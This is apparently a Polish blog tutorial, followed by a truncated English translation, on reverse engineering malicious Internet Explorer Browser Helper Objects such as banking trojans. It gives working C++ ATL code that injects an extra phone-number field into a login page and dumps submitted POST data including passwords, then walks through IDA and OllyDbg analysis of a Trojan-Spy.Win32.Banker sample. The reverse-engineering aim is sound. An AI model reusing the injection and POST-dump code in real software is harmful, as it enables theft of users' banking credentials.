Reversowanie BHO

Od dawien dawna po dzień dzisiejszy (BHO wpierane jest od IE 4.0) autorzy malware’u wykorzystują funkcjonalność jaką dostarcza im BHO do znęcania się nad użytkownikami IE.
Przeważnie złośliwe BHO posiada dwie kluczowe funkcjonalności (na pewno w przypadku banker’a) :

-  monitorowania/logowania zapytań wysyłanych przez przeglądarkę
	POST dump – kradzież haseł
– dynamiczne modyfikowania kodu html wybranych stron
	HTML code injection – wstrzyknięcie kodu html np. dodającego pare dodatkowych pól
w formularzu przeznaczonych do wpisania większej ilości kodów TAN

=] Tworzenie BHO [=
Implementacje dll’ki można wykonać na kilka sposobów:
Czysty COM/WinApi
Oczywiście jak można się domyślać w tym przypadku implementacja wszystkich niezbędnych interfejsów COM’wych będzie należała do nas. Jest to jednak, doskonały sposób na dokładne zapoznanie się mechanizmami, które kryją się pod maską BHO.
Szczegółowy tutorial jak napisać BHO bez wykorzystania MFC/ATL z wyjaśnieniem podstaw związanych z technologią COM znajduję się tutaj : http://www.codeproject.com/KB/shell/BHOinCPP.aspx
MFC
ATL
W przypadku skorzystania z dobrodziejstwa biblioteki ATL do implementacji pozostaje nam tak naprawdę jedna metoda plus event handlery. Tutorial jak stworzyć BHO z wykorzystaniem ATL znajduję się tutaj:
http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx
Jak przebiega wywołanie kolejnych interfejsów oraz ich metod:
W wielkim skrócie:
Ole32.dll w IE
CoGetClassObject->CoLoadLibrary
BHO
@export DllGetClassObject – przekazanie pointer’a na coclass IClassFactory
IClassFactory->CreateInstance – przekazanie pointera na coclass IObjectWithSite
IObjectWithSite->SetSite -uzyskanie pointera do interfejsu IWebBrowser2
IWebBrowser2->QueryInterface dla IConnectionPointContainer
IConnectionPointContainer-> FindConnectionPoint dla dispatchera DWebBrowserEvents2
IConnectionPointContainer->Advise – rejestracja coclassy implementującej dispatcher DWebBrowserEvents2 (obsługa eventów)
=] Interfejsy [=
Nas jak i zarówno twórców malware’u, intersować bedą tutaj w szczególności dwa interfejsy:
IWebBrowser2
DWebBrowserEvents2
=] Obsługa eventów [=
Jak można się domyślać, główny kod malwareu odpowiadający za takie akcje jak HTLM Code injection czy POST dump będzie znajdował się w klasie implementującej interfejs DWebBrowserEvents2, odpowiedzialnej za obsługę eventów.
I tak , HTML Code injection można spodziewać się przy obsłudze eventu:
DISPID_DOCUMENTCOMPLETE :
„DocumentComplete – Fires when a document is completely loaded and initialized.”
POST Dump ( kradzież login/pass)
DISPID_BEFORENAVIGATE2:
„BeforeNavigate2 – Fires before navigation occurs in the given object (on either a window element or a frameset element).”
Rzućmy okiem jak wygląda szczątkowa implementacja takiej klasy w cpp:
Czysty COM/WinAPI

class CEvents : public DWebBrowserEvents2 {
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr);
private:
void OnBeforeNavigate2(...);
void OnDocumentComplete(...);
};
STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr)
{
switch(dispIdMember)
{
    case DISPID_DOCUMENTCOMPLETE:
OnDocumentComplete(...);
	break;
    case DISPID_BEFORENAVIGATE2:
OnBeforeNavigate2(...);
	break;
}
}

ATL

class ATL_NO_VTABLE CCBHO :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CCBHO, &CLSID_CBHO>,
	public IObjectWithSiteImpl<CCBHO>,
	public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>,
	public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1>
{
public:
	CCBHO()
	{
	}
public:
	BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete)
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate)
	END_SINK_MAP()
    // DWebBrowserEvents2
    void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL);
	void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp,
											VARIANT *url,
											VARIANT *Flags,
											VARIANT *TargetFrameName,
											VARIANT *PostData,
											VARIANT *Headers,
											VARIANT_BOOL *Cancel);

Tak jak wspomniałem powyżej, dość kluczową rolę w funkcjonowaniu malwareu w postaci BHO będzie miał kod znajdujący się przy obsłudze eventów BEFORENAVIGATE2 i DOCUMENTCOMPLETE. Zanim jednak weźmiemy pod lupę przykładowy malware, rzućmy okiem na implementacje HTML Code injection oraz POST dump w CPP.
HTML Code injection (ATL)

void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)
{
	HRESULT hr;
    // Retrieve the top-level window from the site.
	CComQIPtr<IWebBrowser2> tmpBrowser = pDisp;
	if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser))
	{
		CComPtr<IDispatch> doc;
		hr = m_webBrowser->get_Document(&doc);
		if(SUCCEEDED(hr))
		{
			CComQIPtr<IHTMLDocument2> html = doc;
			if( html != NULL)
			{
				debug_init();
				//check target url
				if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php"))
				{
					debug("[+] Target URL detected");
					CComPtr<IHTMLElement> body;
					hr = html->get_body(&body);
					if(!SUCCEEDED(hr) || body == NULL)
						return;
					debug("[+] Make simple html code injection, right after <body> tag");
					body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>");
					debug("[+] Find login form");
					CComPtr<IHTMLElementCollection> forms;
					hr = html->get_forms(&forms);
					if(!SUCCEEDED(hr) || forms == NULL)
						return;
					long amount = 0;
					CComVariant name;
					CComPtr<IDispatch> pDisp;
					forms->get_length(&amount);
					for(int i =0; i < amount;i++)
					{
						CComVariant index(i);
						forms->item(name,index,&pDisp);
						CComQIPtr<IHTMLElement> form = pDisp;
						debug("[+] Injecting additional form field");
						form->insertAdjacentHTML(L"afterBegin",
							L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>");
					}
				}
			}
		}
	}
}

A tak wyglada efekt:

Jak widać na screen’e do kodu strony został wstrzykniety napis “Injected code” oraz dodatkowe pole formularza “Phone number”.
Ok, rzucmy okiem na kod wykonujacy POST dump’a:

void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp,
										VARIANT *url,
										VARIANT *Flags,
										VARIANT *TargetFrameName,
										VARIANT *PostData,
										VARIANT *Headers,
										VARIANT_BOOL *Cancel)
{
    if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY )
	{
		debug("[+] POST data dump");
		//dump information about URL
		debug(std::string(CW2A(url->bstrVal)));
		char *szTemp = NULL;
		char *szPostData = NULL;
		long plLbound, plUbound;
		SAFEARRAY *parrTemp = PostData->pvarVal->parray;
		SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp);
		SafeArrayGetLBound(parrTemp , 1, &plLbound);
		SafeArrayGetUBound(parrTemp , 1, &plUbound);
		szPostData = new char[plUbound - plLbound + 2];
	    memcpy(szPostData, szTemp, plUbound - plLbound + 1);
		szPostData[plUbound-plLbound] = '\0';
		SafeArrayUnaccessData(parrTemp);
		//dump post data
		debug(szPostData);
		delete[] szPostData;
	}
}

Wypelniamy forme:

Login…

Jak widać, wszystkie dane wpisane w polach formularza (wraz z tymi wpisanymi do pola, które została wstrzyknięte przez nasze BHO) zostały zdumpowane na konsole.
Skoro już wiemy jakiego kodu możemy się spodziewać i mamy świadomość jak on funkcjonuje, rzućmy okiem na realny przykład.
=] Just reverse it! [=
Malware: Trojan-Spy.Win32.Banker
MD5: 4bb6988207b7e64c91181ab3a7a82e3e
SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6
https://www.virustotal.com/ – report
Download: Trojan-Spy.Win32.Banker pass: infected
Plik reprezentowany przez powyżej przedstawione hashe jest tak naprawdę droperem, a nas będzie jedynie interesowała dll’ka, która dropuje do system32 czyli btask.dll (BHO).
Jak pewnie zauważyliście dll’ka spakowana jest upx’em, warto rozpakować dll’ke i pracować na rozpakowanej wersji nawet przy dynamicznej analizie.
=] Gdzie te event handler’y ?[=
Ustaliliśmy już, że złowieszcze funkcje typowe dla banker’a w postaci BHO znajdują się przy obsłudzę eventów. Teraz pytanie brzmi jak znaleźć te fragmenty kodu, a tak naprawdę jak odnaleźć funkcję
Invoke() (dla czystego COM/winapi) czy inicjalizację struktur _ATL_EVENT_ENTRY gdzie znajdować się będą wszystkie interesujące nas informacje i fragmenty kodu?
=] Wyszukiwanie stałych [=
Dobre rezultaty daje tutaj proste wyszukiwanie wartości stałych, które reprezentują poszczególne eventy:

IDA->Alt+I (Find all occurences) , znajdźmy wszystkie stałe wartości równe 259(0x103) reprezentujące event DOCUMENTCOMPLETE.

Address        Function     Instruction
-------        --------     -----------
.text:20004904 sub_2000480A cmp     eax, 103h
.text:2000B0E3 sub_2000B093 cmp     [ebp+var_18], 103h

Zobaczmy pierwszy adres:

Kod wygląda bardzo sensownie, widać sporą dawkę instrukcji warunkowych i porównań jednego argumentu funkcji do różnych stałych, co może świadczyć o tym, że faktycznie udało nam się odszukać funkcję Invoke. I tak też jest ;). Jeżeli, ktoś jeszcze tego nie dostrzegł to podpowiem, że można tutaj dostrzec typową implementację funkcji Invoke w przypadku kiedy NIE zastosowano ATL’owego szablonu. A jak wygląda sytuacja w przypadku ATL’a ?
atlBHO.dll (analiza dla ułatwienia z załadowanym plikiem pdb) – > Download
Tym razem próbując znaleźć miejsce w kodzie gdzie inicjalizowana jest tablica struktur _ATL_EVENT_ENTRY posługując się w tym przypadku wartością 0x130 zaliczymy fail’a z tego względu, że pierwsza struktura w tej tablicy ( w moim kodzie jest to struktura dla eventu DOCUMENTCOMPLETE) jest częściowo zainicjalizowana przez co IDA wskaże nam miejsce:

.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3]
.data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1                    ; nControlID
.data:1003D770                                         ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o
.data:1003D770                 dd offset _DIID_DWebBrowserEvents2; piid
.data:1003D770                 dd 0Ch                  ; nOffset
.data:1003D770                 dd 103h                 ; dispid
.data:1003D770                 dd 0                    ; pfn
.data:1003D770                 db 4 dup(0)
.data:1003D770                 dd 0                    ; pInfo
.data:1003D770                 db 4 dup(0)             ; _padding
.data:1003D770                 dd 0                    ; nControlID
...

czyli przestrzeń statycznie zaalokowaną na tablice _ATL_EVENT_ENTRY. My jednak szukamy miejsca w kodzie gdzie następuje inicjalizacja tej tablicy. Poszukajmy więc wartości odpowiadającej event’owi
BEFORENAVIGATE2 czyli 0xFA

.text:1001BF29                 mov     [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *)
(...)
.text:1001BF9E                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx
.text:1001BFA4                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh
.text:1001BFAE                 mov     [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *)
.text:1001BFB8                 mov     [ebp+var_D8], 0
.text:1001BFC2                 mov     eax, [ebp+var_DC]
.text:1001BFC8                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax
.text:1001BFCD                 mov     ecx, [ebp+var_D8]
.text:1001BFD3                 mov     dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx
.text:1001BFD9                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0
.text:1001BFE3                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0
.text:1001BFED                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0
.text:1001BFF7                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0
.text:1001C001                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0

Bingo! Pod adresem 1001BF29 oraz 1001BFAE widzimy inicjalizację struktur offset’ami na event handlery. Mamy, więc trywialny sposób na odnalezienie interesujących nas fragmentów kodu w obu przypadkach. Zautomatyzujmy ten proces.
IDA Python – > Download BHO.py
Stworzyłem prosty skrypt, który bazując na paru najpopularniejszych stałych reprezentujących event’y odnajduje miejsce funkcji Invoke czy inicjalizacji tablicy _ATL_EVENT_ENTRY.
Wróćmy do naszego malwareu i odpalmy skrypt.

Searching for DISPID_BEFORENAVIGATE2
Searching for DISPID_DOCUMENTCOMPLETE
Searching for DISPID_NAVIGATECOMPLETE2
Searching for DISPID_ONQUIT
Potential Invoke function 0x20003b22 : appearance 1
Potential Invoke function 0x20013043 : appearance 1
Potential Invoke function 0x200044cc : appearance 1
Potential Invoke function 0x2000480a : appearance 4
Potential Invoke function 0x20004eec : appearance 1
Potential Invoke function 0x200074f1 : appearance 1
Potential Invoke function 0x2000b093 : appearance 1
Potential Invoke function 0x200022fa : appearance 1
Suggested address of Invoke function : 0x2000480a

Jak widać skrypt spisał się bardzo dobrze, ponieważ 0x2000480ajest faktycznym adresem funkcji Invoke, który udało nam się wcześniej ustalić ręcznie.
Bho.py posiada jeszcze jedna użyteczna opcje, a mianowicie funkcję bho_invoke(ea) (gdzie ea to adres funkcji invoke lub init _ATL_EVENT_ENTRY), która doda komentarze zawierające opisy każdej stałej w miejscu jej występowania.

Python>bho_invoke(0x2000480a)
Found DISPID_NAVIGATECOMPLETE2 at: 200048bb
Found DISPID_NAVIGATEANDFIND at: 200048d0
Found DISPID_PROGRESSCHANGE at: 20004825
Found DISPID_DOCUMENTCOMPLETE at: 20004904
Found DISPID_BEFORENAVIGATE2 at: 200048c6
Found DISPID_ONQUIT at: 200049d7
Found DISPID_DOWNLOADCOMPLETE at: 2000481c
Found DISPID_ISSUBSCRIBED at: 200048d0

Zobaczmy efekt:

Możemy teraz przystąpić do reversowania poszczególnych event handlerów.
=] Reversowanie kodu zawierającego wywołania interfejsów COM [=
Bez odpowiedniego podejścia i jeszcze paru zabiegów, reversowanie takiego kodu może być mocno uciążliwe. Dlatego też, polecam kilka skryptów stworzonych przez Frank’a Boldewin’a :
ClassAndInterfaceToNames.zip – odnajdywanie UUID’ów class i interfejsów
VtablesStructuresFromPSDK2003R2.zip – skrypt dodający struktury vtable powiązane z interfejsami COM.
Practical%20COM%20code%20reconstruction.swf – video prezentujące: reversowanie COM’wego kodu + zalety skorzystania z dwóch powyższych skryptów.
Żeby zobaczyć różnice jak i zalety zastosowania powyższych skryptów spróbujmy zreversować następujący kawałek kodu pochodzący z event handler’a OnDocumentComplete:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset unk_200180E8
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

Widać tutaj wywołanie jakieś metody wirtualnej tylko pytanie jakiego interfejsu i co dokładnie jest argumentem pod tym offset’em unk_200180E8 ?
Użyjmy skryptu ClassAndInterfaceToNames, a oto efekt:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

Ahh już lepiej, teraz patrząc na nasz kod w CPP zauważamy analogię, że na wstępie interfejs IDispatch wywołuje QueryInterface z argumentami :

  IID_IWebBrowser2,
 (void **)&pWebBrowser)
( ta linijka ukrywa się tutaj CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )

żeby uzyskać pointer na coclass IWebBrowser. Wnioskując z tego, mamy iż:

[ebp+var_18] to [ebp+IWebBrowser]

a

call    dword ptr [ecx] to (naciskamy na ecx T i szukamy IDispatch)
call    dword ptr [ecx+ IDispatchVtbl.QueryInterface]

efekt końcowy:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+IWebBrowser]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+IWebBrowser], ebx
.text:20002915                 call    [ecx+IDispatchVtbl.QueryInterface]

Itd… Ok, ale co jeśli chcemy wykonać dynamiczną analizę? Ofc, możemy przeanalizować w podany powyżej sposób kod statycznie, jednak takie podejście czasami wymaga uzupełnienia z różnych względów, czyli właśnie dynamicznej analizy.
Niestety pojawia się tu pewien problem, ponieważ SHDOCVW.dll, do której odwoływać się będzie większość call’i powiązanych z interfejsami COM w naszym przypadku

źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx
, nie ma ujawnionych „czytelnych” nazw dla większości exportów. I w miejscu takim jak:

010328F9  |.  8B45 10       MOV EAX,[ARG.3]
010328FC  |.  33DB          XOR EBX,EBX
010328FE  |.  3BC3          CMP EAX,EBX
01032900  |.  0F84 BF010000 JE btask.01032AC5
01032906  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
01032908  |.  8D55 E8       LEA EDX,[LOCAL.6]
0103290B  |.  52            PUSH EDX
0103290C  |.  68 E8800401   PUSH btask.010480E8
01032911  |.  50            PUSH EAX
01032912  |.  895D E8       MOV [LOCAL.6],EBX
01032915  |.  FF11          CALL DWORD PTR DS:[ECX]

pojawi się tylko i wyłącznie podpowiedź Olka w stylu:

01032915  |.  FF11          CALL DWORD PTR DS:[ECX]                ;  SHDOCVW.777D78E9

Oczywiście jest na to rada;). Skorzystanie z dobrodziejstwa symboli. Ale, ze względu na sędziwość Olka 1.1 i nie w pełni gotową jeszcze wersje 2.0, warto odseparować do osobnego katalogu tylko i wyłącznie symbole dla tych dll’ek, które faktycznie nas interesują czyli
SHDOCVW.dll i ew. MSHTML.dll. W innym wypadku możemy spodziewać się sporego czasu oczekiwania na koniec analizy przez Olka każdej dll’ki z osobna, a nawet czasami crashu.
Symbole dla pojedynczego pliku można pobrać używając narzędzia symchk.exe
Tworzymy zmienną środowiskową:
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym
A w katalogu C:\windows\Sym umieszczamy interesujące nas symbole:

c:\WINDOWS\sym>dir
 Volume in drive C has no label.
 Volume Serial Number is 44BE-4B9D
 Directory of c:\WINDOWS\sym
01/27/2012  11:21 AM    <DIR>          .
01/27/2012  11:21 AM    <DIR>          ..
01/27/2012  11:21 AM    <DIR>          mshtml.pdb
01/27/2012  11:21 AM    <DIR>          mshtmled.pdb
01/27/2012  11:21 AM    <DIR>          shdocvw.pdb

A oto efekt:

I z tak przygotowanym zestawem narzędzi jak i podejściem możemy kontynuować nasza zabawę w reversowanie BHO ;).
From a long time for those days (BHO is supported since IE 4.0) malware writers exploit BHO functionality to bully on IE users.
Mostly evil BHO has two functionality ( for sure if we talk about bankers):

- monitoring/logging requests sending by browser
    POST dump - password stealing
- HTML page code dynamic modification
   HTML code injection - used for e.g - adding additional form fields intended to obtain, more amount of TAN codes or generally some extra data.

=] BHO creation [=
Dll implementation is possible in couple manners:
Pure COM/WinApi
Is easy to predict that in this case entire implementation of all COM interfaces will belong to us, but it’s a great exercise to get know all details about BHO mechanism hidden under the hood.
Detailed tutorial about how to write an BHO without the use of MFC/ATL and with basic infromation about COM technology you can find here:
http://www.codeproject.com/KB/shell/BHOinCPP.aspx
MFC
ATL
In case when you take advantages of ATL library, to implementation will remain only one method plus an events handlers. Tutorial about creating BHO based on ATL library you can find here:
http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx
BHO mechanism call stack
In a nutshell:
Ole32.dll in IE
CoGetClassObject->CoLoadLibrary
BHO
@export DllGetClassObject – pass pointer on IClassFactory coclass.
IClassFactory->CreateInstance – pass pointer on IObjectWithSite coclass.
IObjectWithSite->SetSite – obtain pointer to IWebBrowser2 interface.
IWebBrowser2->QueryInterface for IConnectionPointContainer
IConnectionPointContainer-> FindConnectionPoint for DWebBrowserEvents2 dispatcher.
IConnectionPointContainer->Advise – registration of coclass implementing DWebBrowserEvents2 (events handler) dispatcher.
=] Interfaces [=
We (and also malware writers) will be especially interested in two interfaces:
IWebBrowser2
DWebBrowserEvents2
=] Events handling [=
As you might guess, major malware code responsible of that action like HTLM code injection or POST dump will be located in class implements DWebBrowserEvents2 interface.
Delving into the details, HTML Code injection we can expect in event handler for event:
DISPID_DOCUMENTCOMPLETE :
„DocumentComplete – Fires when a document is completely loaded and initialized.”
POST Dump ( credentials theft)
DISPID_BEFORENAVIGATE2:
„BeforeNavigate2 – Fires before navigation occurs in the given object (on either a window element or a frameset element).”
Lets we take a glance on residual implementation of that class in CPP:
Pure COM/WinAPI

class CEvents : public DWebBrowserEvents2 {
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr);
private:
void OnBeforeNavigate2(...);
void OnDocumentComplete(...);
};
STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr)
{
switch(dispIdMember)
{
    case DISPID_DOCUMENTCOMPLETE:
OnDocumentComplete(...);
	break;
    case DISPID_BEFORENAVIGATE2:
OnBeforeNavigate2(...);
	break;
}
}

ATL

class ATL_NO_VTABLE CCBHO :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CCBHO, &CLSID_CBHO>,
	public IObjectWithSiteImpl<CCBHO>,
	public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>,
	public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1>
{
public:
	CCBHO()
	{
	}
public:
	BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete)
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate)
	END_SINK_MAP()
    // DWebBrowserEvents2
    void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL);
	void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp,
											VARIANT *url,
											VARIANT *Flags,
											VARIANT *TargetFrameName,
											VARIANT *PostData,
											VARIANT *Headers,
											VARIANT_BOOL *Cancel);

Like I mentioned above, key role in BHO malware functionality plays code located in event handlers related with events BEFORENAVIGATE2 and DOCUMENTCOMPLETE. But before we gonna examine real malware lets we check example implementation of HTML Code injection and POST dump in CPP.
HTML Code injection (ATL)

void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)
{
	HRESULT hr;
    // Retrieve the top-level window from the site.
	CComQIPtr<IWebBrowser2> tmpBrowser = pDisp;
	if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser))
	{
		CComPtr<IDispatch> doc;
		hr = m_webBrowser->get_Document(&doc);
		if(SUCCEEDED(hr))
		{
			CComQIPtr<IHTMLDocument2> html = doc;
			if( html != NULL)
			{
				debug_init();
				//check target url
				if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php"))
				{
					debug("[+] Target URL detected");
					CComPtr<IHTMLElement> body;
					hr = html->get_body(&body);
					if(!SUCCEEDED(hr) || body == NULL)
						return;
					debug("[+] Make simple html code injection, right after <body> tag");
					body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>");
					debug("[+] Find login form");
					CComPtr<IHTMLElementCollection> forms;
					hr = html->get_forms(&forms);
					if(!SUCCEEDED(hr) || forms == NULL)
						return;
					long amount = 0;
					CComVariant name;
					CComPtr<IDispatch> pDisp;
					forms->get_length(&amount);
					for(int i =0; i < amount;i++)
					{
						CComVariant index(i);
						forms->item(name,index,&pDisp);
						CComQIPtr<IHTMLElement> form = pDisp;
						debug("[+] Injecting additional form field");
						form->insertAdjacentHTML(L"afterBegin",
							L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>");
					}
				}
			}
		}
	}
}

Result:

Like you can notice on the screenshot , to page html code was injected text “Injected code” and additional form field “Phone number”.
Ok, now lets we take a look on code doing for us POST DUMP

void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp,
										VARIANT *url,
										VARIANT *Flags,
										VARIANT *TargetFrameName,
										VARIANT *PostData,
										VARIANT *Headers,
										VARIANT_BOOL *Cancel)
{
    if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY )
	{
		debug("[+] POST data dump");
		//dump information about URL
		debug(std::string(CW2A(url->bstrVal)));
		char *szTemp = NULL;
		char *szPostData = NULL;
		long plLbound, plUbound;
		SAFEARRAY *parrTemp = PostData->pvarVal->parray;
		SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp);
		SafeArrayGetLBound(parrTemp , 1, &plLbound);
		SafeArrayGetUBound(parrTemp , 1, &plUbound);
		szPostData = new char[plUbound - plLbound + 2];
	    memcpy(szPostData, szTemp, plUbound - plLbound + 1);
		szPostData[plUbound-plLbound] = '\0';
		SafeArrayUnaccessData(parrTemp);
		//dump post data
		debug(szPostData);
		delete[] szPostData;
	}
}

Fill the form:

Login…

Like you can see, all data filled into form fields ( also with this data filled in additional field injected by our BHO) have been dumped on console.
As we know what kind of code we can expect and we have awareness how it works, lets we check a real example.
=] Just reverse it! [=
Malware: Trojan-Spy.Win32.Banker
MD5: 4bb6988207b7e64c91181ab3a7a82e3e
SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6
https://www.virustotal.com/ – report
Download: Trojan-Spy.Win32.Banker pass: infected
Represented by above hashes file is actually a dropper, and we will be only interested in its drop done into system32, which is exactly btask.dll (BHO).
Like you probably noticed, this dll is packed by upx, a good thing here will be to unpack it and work on unpacked version.
=] Where are those event handlers ?[=
We agreed already that, evil functions typical for malware in BHO form are located in event handlers. Now, question is how to find those pieces of code, BAH, even how to exactly find Invoke() (for pure COM/winapi) function and _ATL_EVENT_ENTRY structures initialization where will be located most of interesting information parts about malware functionality in this case?
=] Searching for constancies [=
A good results we can achieve by simple search for constancies, which represents particular events:

IDA->Alt+I (Find all occurences) , find all constant values equal to 259(0x103) represent event
DOCUMENTCOMPLETE.

Address        Function     Instruction
-------        --------     -----------
.text:20004904 sub_2000480A cmp     eax, 103h
.text:2000B0E3 sub_2000B093 cmp     [ebp+var_18], 103h

Lets we jump into first address:

Code looks very promising, quiet big dose of conditional instructions and comparisons of one function argument to different constancies, what can be an evidence that we just found a Invoke function. And believe me, we got it ;). If you still don’t see that,I gonna give you little hint that we can observe here typical implementation of Invoke function when author didn’t use ATL template. But, how will look this code in ATL case?
atlBHO.dll (for simpleness,analysis is done with loaded pdb file ) – > Download
This time trying to find place where _ATL_EVENT_ENTRY structures array is initialized, using for this search for 0x130 value we will fail, because first entry of this array is (in my code it’s structure for DOCUMENTCOMPLETE event) is partially initialized. And because of that, IDA gonna point as this place:

.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3]
.data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1                    ; nControlID
.data:1003D770                                         ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o
.data:1003D770                 dd offset _DIID_DWebBrowserEvents2; piid
.data:1003D770                 dd 0Ch                  ; nOffset
